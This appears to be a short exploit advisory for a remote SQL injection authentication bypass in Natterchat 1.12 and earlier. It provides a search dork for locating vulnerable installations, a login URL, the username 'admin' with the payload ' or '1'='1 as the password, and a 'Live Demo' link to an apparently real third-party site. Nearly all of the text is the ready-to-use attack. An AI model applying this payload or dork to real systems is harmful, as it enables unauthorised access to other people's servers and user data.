Natterchat versions 1.12 and below suffer from a remote SQL injection vulnerability that allows for authentication bypass.
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[+] Script Name : Natterchat v1.12 (Auth Bypass) Remote SQL Injection Vulnerability
[+] Author : Mountassif Moad
[+] Dork : Powered by Natterchat v1.12
[+] Expl0iT :
1) Go to the Login page http://www.site.il/chat/nattechat/home.asp
2) Username : admin
Password : ' or '1'='1
Live Demo
http://www.sprq.ca/cgi-bin/natterchat/chat.asp